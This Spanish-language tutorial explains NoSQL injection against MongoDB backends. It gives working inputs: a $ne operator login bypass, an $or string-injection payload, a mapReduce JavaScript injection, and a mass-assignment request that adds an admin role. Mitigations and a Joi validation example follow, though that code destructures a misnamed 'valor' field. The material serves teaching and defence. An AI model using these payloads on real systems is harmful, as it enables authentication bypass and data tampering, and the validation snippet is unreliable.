Introducción a la inyección NoSQL
Las bases de datos NoSQL han ganado popularidad por su escalabilidad y flexibilidad. Sin embargo, su sintaxis de consulta particular introduce riesgos de seguridad distintos a la inyección SQL tradicional. Este artículo describe vectores comunes de ataque y sus implicaciones.
Inyección de Arreglos en PHP
En un backend PHP que construye consultas MongoDB, los parámetros del formulario pueden interpretarse como operadores de MongoDB si no se sanitizan.
// Backend vulnerable en PHP
$criteria = array(
'usuario' => $_POST['usuario'],
'contraseña' => $_POST['contraseña']
);
$resultado = $coleccion->find($criteria);
Una petición maliciosa con parámetros manipulados:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
usuario[$ne]=x&contraseña[$ne]=y
Esto genera una consulta que coincide con cualquier documento donde el usuario no sea "x" y la contraseña no sea "y", eludiendo la autenticación.
// Consulta generada
{"usuario": {"$ne": "x"}, "contraseña": {"$ne": "y"}}
Los operadores de comparación ($gt, $lt, $gte, $lte) permiten realizar búsquedas de fuerza bruta para filtrar datos.
Inyección OR en MongoDB
Si la consulta se construye concatenando cadenas de texto, es posible inyectar operadores lógicos.
// Ejemplo vulnerable
$consulta = "{usuario: '" . $paramUser . "', clave: '" . $paramPass . "'}";
$db->execute($consulta);
Un atacante puede introducir:
usuario=legítimo', $or:[{}, {'a':'a&clave=}
La consulta resultante se vuelve:
{usuario: 'legítimo', $or:[{}, {'a':'a', clave: ''}]}
El operador $or con un objeto vacío {} evalúa a true, permitiendo omitir la verificación de contraseña si se conoce un nombre de usuario válido.
Inyección de JavaScript en Operaciones Map-Reduce
Algunas bases de datos como MongoDB permiten ejecutar código JavaScript. Si los parámetros de usuario se insertan sin filtrar en funciones como mapReduce, se pueden ejecutar comandos arbitrarios.
// Código backend vulnerable
$map = "function() {
for (var i = 0; i < this.articulos.length; i++) {
emit(this.nombre, this.articulos[i]." . $_GET['campo'] . ");
}
}";
Un valor de entrada diseñado para cerrar la función y ejecutar código adicional:
campo=a);}},function(k,v){return 1;},{out:'tmp'});
db.system.js.insert({payload:'ejecucion_maliciosa'});
return 1;db.tienda.mapReduce(function(){emit(1,1
Esto resulta en la ejecución de múltiples sentencias, incluyendo la inserción de un documento malicioso.
Vectores de Ataque Adicionales
Explotación de APIs REST con CSRF
Las bases de datos NoSQL a menudo exponen una API REST. Un ataque CSRF puede forzar a un navegador autenticado a ejecutar consultas maliciosas a través de solicitudes cross-origin.
Contaminación de la Base de Datos
Si un backend actualiza documentos usando parámetros de entrada sin un esquema estricto, los atacantes pueden inyectar campos no previstos, como privilegios elevados.
// Solicitud legítima
{"email": "user@example.com", "edad": 30}
// Solicitud manipulada
{"email": "user@example.com", "edad": 30, "rol": "admin"}
Estrategias de Mitigación
- Validación y Desinfección de Entradas: No confiar en la estructura de los datos de entrada. Utilizar bibliotecas de validación de esquemas.
- Uso de Consultas Parametrizadas: Emplear los mecanismos de consulta parametrizada que ofrecen los drivers de bases de datos.
- Principio de Menor Privilegio: Configurar permisos de base de datos restrictivos. Las cuentas de aplicación no deben tener acceso a comandos administrativos como
eval. - Cabeceras HTTP Seguras: Para APIs, utilizar
Content-Type: application/jsony configurar CORS de manera restrictiva para prevenir CSRF. - Aálisis de Seguridad: Implementar escaneo estático (SAST) y dinámico (DAST) en el pipeline de desarrollo.
// Ejemplo de validación con un esquema en Node.js (usando Joi)
const Joi = require('joi');
const esquemaUsuario = Joi.object({
nombre: Joi.string().alphanum().min(3).max(30).required(),
contraseña: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{3,30}$')).required(),
email: Joi.string().email()
});
const { error, valor } = esquemaUsuario.validate(req.body);
if (error) {
// Rechazar la solicitud
}